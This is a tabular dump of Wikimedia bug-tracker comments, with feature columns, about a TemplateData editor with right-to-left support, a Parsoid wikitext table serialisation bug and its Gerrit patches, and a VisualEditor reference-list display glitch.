239221,TemplateData: Creating TemplateData blocks should be direction neutral,"I'm working on a TemplateData Generator extension that will allow the editing or creation from scratch of templatedata json. It will allow the editing of the json data visually, so you could maintain the parameters or description as you please with a GUI.

I'm also making sure it works with RTL languages and the GUI is completely translation-ready. I hope it will be ready in the next few days (at least a basic working version of it)",,,1375122782,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,1.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,7.0,1.0,5.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,10.0,2.0,10.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,11.0,7.0,0.0,0.0,0.0,10.0,0.0,1.0,3.0,0.0,3.0,0.0,1.0,0.0,4.1022727272727275,0.6931818181818182,"I'm working on a TemplateData Generator extension that will allow the editing or creation from scratch of templatedata json. It will allow the editing of the json data visually, so you could maintain the parameters or description as you please with a GUI.

I'm also making sure it works with RTL languages and the GUI is completely translation-ready. I hope it will be ready in the next few days (at least a basic working version of it)"
239217,TemplateData: Creating TemplateData blocks should be direction neutral,"Is it possible to edit templatedata or just create new? Is it possible to populate the form with existing tempaltedata?

The main problem isn't creation of tempaltedata (which for many cases can be done by bots), but to maintain it - e.g changing the description, adding/removing parameters etc.",,,1375122472,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,4,,2.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,5.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,5.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,12.0,0.0,3.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,4.220338983050848,0.8305084745762712,"Is it possible to edit templatedata or just create new? Is it possible to populate the form with existing tempaltedata?

The main problem isn't creation of tempaltedata (which for many cases can be done by bots), but to maintain it - e.g changing the description, adding/removing parameters etc."
239210,TemplateData: Creating TemplateData blocks should be direction neutral,I've addded rtl support to my editor (http://tools.wikimedia.pl/~mlazowik/templatedata/). You can send me translations. More info in the bottom of the page.,,,1374862129,,PHID-USER-x7g37sf6tkkrewspco2q,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,16.0,12.0,4.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,3.52,0.92,I've addded rtl support to my editor (URL You can send me translations. More info in the bottom of the page.
239203,TemplateData: Creating TemplateData blocks should be direction neutral,"A user interface exists also as a script on enwiki (which can be used directly from other wikis)
http://en.wikipedia.org/wiki/User:NicoV/TemplateDataEditor

It was written by Ltrlg (see 2 posts above) on frwiki, I translated it into English.",,,1374664108,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,7.0,14.0,12.0,0.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5813953488372094,0.9302325581395349,"A user interface exists also as a script on enwiki (which can be used directly from other wikis)
URL

It was written by Ltrlg (see 2 posts above) on frwiki, I translated it into English."
239197,TemplateData: Creating TemplateData blocks should be direction neutral,"(In reply to comment #2)
> The ideal thing here would be to build a tree-like visual TemplateData
> editor,
> that would save its data to JSON. Kinda like http://www.jsoneditoronline.org/
> (first Google result for ""json editor"").

It kinda exists now, http://tools.wikimedia.pl/~mlazowik/templatedata/, but is currently not translateable (only in Polish). The code is on GitHub (https://github.com/mlazowik/templatedata/) and author accepts pull requests :) (CC'ing him).",,,1374619504,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,23.0,0.0,4.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.3461538461538463,0.7307692307692307,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

It kinda exists now, URL but is currently not translateable (only in Polish). The code is on GitHub (URL and author accepts pull requests :) (CC'ing him)."
239190,TemplateData: Creating TemplateData blocks should be direction neutral,See bug 51734 (Create a non-VisualEditor plugin tool to add/edit template hinting) for visual interface.,,,1374619335,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,1.0,See bug 51734 (Create a non-VisualEditor plugin tool to add/edit template hinting) for visual interface.
239186,TemplateData: Creating TemplateData blocks should be direction neutral,"The ideal thing here would be to build a tree-like visual TemplateData editor, that would save its data to JSON. Kinda like http://www.jsoneditoronline.org/ (first Google result for ""json editor"").

Separating labels and data would easily solve the RTL problem, and would also make TemplateData easier to edit for users in all languages.",,,1374353774,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,11.0,11.0,0.0,3.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,4.03125,0.765625,"The ideal thing here would be to build a tree-like visual TemplateData editor, that would save its data to JSON. Kinda like URL (first Google result for ""json editor"").

Separating labels and data would easily solve the RTL problem, and would also make TemplateData easier to edit for users in all languages."
239181,TemplateData: Creating TemplateData blocks should be direction neutral,"Timo, thoughts?",,,1372689806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Timo, thoughts?"
52420,Wikitext list after implicit <td> not properly recognized,"I did not add this to closed bug 50012 because while it may be related it's not exactly the same.

This edit to the text of the article added extraneous pipes throughout (http://en.wikipedia.org/w/index.php?title=List_of_male_kickboxers&diff=562103247&oldid=561869162) and also dropped some formatting on the end (|}|}|}|}|}|})

See http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Unwanted_format_changes_throughout_article

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372512240,1372829597.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-itqhk6koq7bmakcn2wvo,task_description,resolved,True,c1,2,False,False,True,-1,,1.0,0.0,0.0,1.0,3.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,10.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,10.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,10.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.7285714285714285,"I did not add this to closed bug 50012 because while it may be related it's not exactly the same.

This edit to the text of the article added extraneous pipes throughout (URL and also dropped some formatting on the end (|}|}|}|}|}|})

See URL

--------------------------
**Version**: unspecified
**Severity**: normal"
238072,Wikitext list after implicit <td> not properly recognized,"Change 71744 merged by jenkins-bot:
(Bug 50420) Recognize sol-content in implicit <td> after a <tr>

https://gerrit.wikimedia.org/r/71744",,,1372829524,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,3.3793103448275863,0.896551724137931,"Change 71744 merged by jenkins-bot:
(Bug 50420) Recognize sol-content in implicit <td> after a <tr>

GERRIT_URL"
238071,Wikitext list after implicit <td> not properly recognized,"Change 71744 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 50420) Recognize sol-content in implicit <td> after a <tr>

https://gerrit.wikimedia.org/r/71744",,,1372809900,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,20.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,14.0,3.657142857142857,0.8857142857142857,"Change 71744 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 50420) Recognize sol-content in implicit <td> after a <tr>

GERRIT_URL"
238069,Wikitext list after implicit <td> not properly recognized,"Ok, renamed the bug to reflect the repurposing.",,,1372701474,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9,"Ok, renamed the bug to reflect the repurposing."
238066,Wikitext list after implicit <td> not properly recognized,"Change 71314 merged by jenkins-bot:
(Bug 50420) Tweaked selser to reuse td/th/tr wrappers from source

https://gerrit.wikimedia.org/r/71314",,,1372701241,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,15.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7037037037037037,0.9629629629629629,"Change 71314 merged by jenkins-bot:
(Bug 50420) Tweaked selser to reuse td/th/tr wrappers from source

GERRIT_URL"
238063,Wikitext list after implicit <td> not properly recognized,"I was wrong.  This bug was fixed by tweaking selser as in the patch above since VE does not have table-editing capability yet (only table contents, not table structure).

There is an unrelated bug in the parser where leading list wikitext in a td-cell is parsed as plain text rather than as a list item.  So, the pipe problem is fixed by the above commit, but there will still be a dirty-diff (the first list item will be wrapped in nowiki on serialization).  That will be addressed separately.",,,1372651321,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,1.0,4.5,1.5,0.0,0.0,0.0,4.5,0.0,0.0,0.5,1.5,0.5,0.0,6.0,8.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,1.5,0.0,2.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.5,0.0,0.0,0.0,16.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,6.5,6.0,4.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,8.5,1.5,0.0,0.0,0.0,0.5,0.0,0.5,3.0,0.0,1.0,0.0,0.0,0.0,3.709090909090909,0.7727272727272727,"I was wrong.  This bug was fixed by tweaking selser as in the patch above since VE does not have table-editing capability yet (only table contents, not table structure).

There is an unrelated bug in the parser where leading list wikitext in a td-cell is parsed as plain text rather than as a list item.  So, the pipe problem is fixed by the above commit, but there will still be a dirty-diff (the first list item will be wrapped in nowiki on serialization).  That will be addressed separately."
238058,Wikitext list after implicit <td> not properly recognized,"Change 71314 had a related patch set uploaded by Subramanya Sastry:
(Bug 50420) Tweak selser to reuse td/th/tr wrappers from source

https://gerrit.wikimedia.org/r/71314",,,1372650827,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.967741935483871,"Change 71314 had a related patch set uploaded by Subramanya Sastry:
(Bug 50420) Tweak selser to reuse td/th/tr wrappers from source

GERRIT_URL"
238051,Wikitext list after implicit <td> not properly recognized,"https://en.wikipedia.org/w/index.php?title=List_of_male_kickboxers&diff=562167553&oldid=562162447 shows an instance where converting an implicit <td> into an explicit <td> on serialization is a semantic error.

Reduced test case:

{|
|-
*a
|}

This cannot be fixed by selser since on editing the list item, the <td> will go through regular serialization.

We should be able to safely use the autoInserted* flags from data-parsoid in this instance since VE does not have table-editing capability yet.",,,1372565331,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,1.0,2.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,5.0,12.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,8.0,3.0,5.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,12.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,3.0,0.0,0.0,8.0,3.6315789473684212,0.7052631578947368,"URL shows an instance where converting an implicit <td> into an explicit <td> on serialization is a semantic error.

Reduced test case:

{|
|-
*a
|}

This cannot be fixed by selser since on editing the list item, the <td> will go through regular serialization.

We should be able to safely use the autoInserted* flags from data-parsoid in this instance since VE does not have table-editing capability yet."
238043,Wikitext list after implicit <td> not properly recognized,"The problem is that this page had about 13 tables that were unclosed (missing |} wikitext).  Parsoid does handle a lot of corner cases, but at this time, unclosed tables (especially when there are lots of them) are harder for Parsoid to recover from.  But, we have some ideas for recovering from them in the future.  But, till such time, it is easier to fix the wikitext of the page like I did (https://en.wikipedia.org/w/index.php?title=List_of_male_kickboxers&diff=562162447&oldid=562113696)

However, there is definitely a bug there which is about adding ""|"" after the first table row for which I'll repurpose this bug for fixing in Parsoid.",,,1372565021,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,2,True,,,-1,,0.5,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,1.5,2.0,1.0,4.0,12.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,13.5,0.0,2.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,4.5,7.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.5,1.0,0.5,0.0,4.0,12.0,2.5,0.0,1.5,0.0,4.0,0.0,2.5,1.5,1.5,3.0,1.5,0.0,0.0,3.629032258064516,0.7661290322580645,"The problem is that this page had about 13 tables that were unclosed (missing |} wikitext).  Parsoid does handle a lot of corner cases, but at this time, unclosed tables (especially when there are lots of them) are harder for Parsoid to recover from.  But, we have some ideas for recovering from them in the future.  But, till such time, it is easier to fix the wikitext of the page like I did (URL

However, there is definitely a bug there which is about adding ""|"" after the first table row for which I'll repurpose this bug for fixing in Parsoid."
238034,Wikitext list after implicit <td> not properly recognized,"I would consider this a blocker on Monday's deployment. Things not having support (browsers or features) I can deal with, but we cannot have this sort of corruption being introduced.",,,1372518582,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.135135135135135,0.8648648648648649,"I would consider this a blocker on Monday's deployment. Things not having support (browsers or features) I can deal with, but we cannot have this sort of corruption being introduced."
52411,VisualEditor: Reference list display being cut off in some pages,"Screenshot, cut-off notes list

In some formatting, the ""Notes"" section of an article gets cut off in editing mode display.  Additionally, ""a,"" ""b,"" ""c,"" etc. get turned into 1.0, 1.1, 1.2 while in editing mode.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11283}",Medium,50.0,1372468740,1377828038.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-hoazjhp6o63s5rrky5qa,task_description,resolved,True,c1,2,False,False,True,-1,,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,9.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,3.0,3.1744186046511627,0.5697674418604651,"Screenshot, cut-off notes list

In some formatting, the ""Notes"" section of an article gets cut off in editing mode display.  Additionally, ""a,"" ""b,"" ""c,"" etc. get turned into 1.0, 1.1, 1.2 while in editing mode.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11283}"
237594,VisualEditor: Reference list display being cut off in some pages,"(In reply to comment #2)
> Could this be the same as bug 52371?

No, this was a graphical glitch that we fixed (but I forgot to mark as such) - closing.",,,1377828038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hoazjhp6o63s5rrky5qa,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,9.0,0.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.9696969696969697,0.9090909090909091,"(In reply to comment #2)
QUOTE

No, this was a graphical glitch that we fixed (but I forgot to mark as such) - closing."
237589,VisualEditor: Reference list display being cut off in some pages,Could this be the same as bug 52371?,,,1377443863,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hoazjhp6o63s5rrky5qa,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,1.0,Could this be the same as bug 52371?
237580,VisualEditor: Reference list display being cut off in some pages,"I couldn't reproduce on Firefox or Chrome, Linux or Windows.  The article hasnt changed since the bug was raised.
https://en.wikipedia.org/wiki/Arc_diagram?veaction=edit

